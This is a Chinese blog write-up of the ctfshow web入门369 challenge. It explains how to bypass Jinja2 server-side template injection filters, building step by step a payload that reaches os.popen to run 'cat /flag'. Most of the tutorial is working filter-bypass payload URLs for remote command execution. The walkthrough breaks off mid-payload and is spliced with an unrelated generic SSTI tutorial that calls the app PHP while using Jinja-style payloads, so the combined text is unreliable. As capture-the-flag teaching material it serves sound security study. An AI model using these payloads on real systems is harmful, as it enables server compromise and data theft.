SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

本文详细介绍了如何在SSTI漏洞中,通过一系列的字符串拼接和方法调用来绕过过滤限制,包括获取__globals__、os模块、popen方法,以及执行shell命令读取flag的过程。

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

写在前面

由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。

实例引入

本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解绕过的原理。

判断是否存在SSTI模板注入漏洞

由于双花括号被过滤,我们只能使用{%%}来判断,我们传入参数?name={%print 123%},来观察页面是否回显123,如果回显123即存在SSTI模板注入漏洞。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %print 123%}

在这里插入图片描述
页面回显123,存在SSTI模板注入漏洞。

拼接payload

我们先确定我们使用哪一个payload去打它,我们就以:

{
   
   %print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}

我们分析一下:
引号、下划线被过滤,我们不能直接使用" attr(“__globals__”) ",并且request被过滤,不能通过传参,我们就只能通过拼接字符串的方式获取,并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。

获取__globals__
获取globals字符串
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set globals=dict(globals=a)|join%}
{
   
   %print globals%}

在这里插入图片描述

获取下划线

我们获得了globals字符串,还需要下划线来拼接,那么下划线如何获取呢?
我们就通过lipsum|string|list中获取。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %print lipsum|string|list%}

在这里插入图片描述

获取pop方法

我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set pop=dict(po=a,p=b)|join%}
{
   
   %print pop%}

在这里插入图片描述
这样的话我们就可以获取到下划线了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set pop=dict(po=a,p=b)|join%}
{
   
   %set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{
   
   %print xiahuaxian%}

在这里插入图片描述
获取下划线之后也就自然能获得__globals__。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set pop=dict(po=a,p=b)|join%}
{
   
   %set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{
   
   %set globals=dict(globals=a)|join%}
{
   
   %print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}

在这里插入图片描述

获取os模块
获取os字符串

先获取到os字符。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set shell=dict(o=a,s=b)|join%}
{
   
   %print shell%}

在这里插入图片描述

获取get()方法

获取get,以便我们使用get()获取到os模块。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   %set get=dict(get=a)|join%}
{
   
   %print get%}

在这里插入图片描述

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
   
   <
### CTFShow Web 入门 SSTI 教程 #### 题目描述 在一个基于 PHP 的 Web 应用中,存在一个可以接受用户输入并渲染到网页上的功能。该功能使用了模板引擎来处理用户的输入数据。 #### 解题思路 在服务器端模板注入 (Server-Side Template Injection, SSTI) 攻击中,攻击者利用应用程序中的漏洞向模板引擎传递恶意代码,从而实现远程命令执行或其他危害行为。对于本道题目而言: - **确认使用的模板引擎** 如果应用采用的是 Twig 或其他支持复杂表达式的模板库,则可能存在 SSTI 漏洞的风险[^2]。 - **测试是否存在 SSTI 漏洞** 可以尝试提交一些特殊的字符串作为输入,观察其输出结果是否有异常变化。例如,发送 `{{7*7}}` 并期望看到计算的结果而不是原始字符本身被显示出来。 - **探索可利用的功能** 当发现确实能够影响模板解析过程之后,下一步就是要找出如何进一步控制这些操作。这可能涉及到调用内置函数、读取文件内容甚至是执行系统指令等动作。 针对此案例的具体解法如下所示: 假设目标站点有一个 URL 参数名为 `name` ,用于接收用户名字并在页面上展示欢迎信息。此时可以通过构造特定形式的数据包来进行试探性的攻击尝试: ```http GET /index.php?name={{7*'a'}} HTTP/1.1 Host: example.com ``` 如果返回的内容包含了七个连续的小写字母 'aaaaaaa' 而不是原样呈现 {{7*'a'}}, 则说明很可能存在 SSTI 缺陷。 为了验证这一点以及获取更多权限,还可以继续深入挖掘可用的方法。比如查看当前工作目录下的所有文件列表: ```http GET /index.php?name={{self._env.__init__.__globals__['os'].getcwd()}} HTTP/1.1 Host: example.com ``` 一旦成功触发上述语句并将路径反馈至前端界面,就意味着已经掌握了对服务器内部结构的部分了解,进而为进一步渗透提供了条件。 当然,在实际环境中应当遵循合法合规的原则开展安全研究活动,严禁非法入侵他人信息系统的行为发生。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值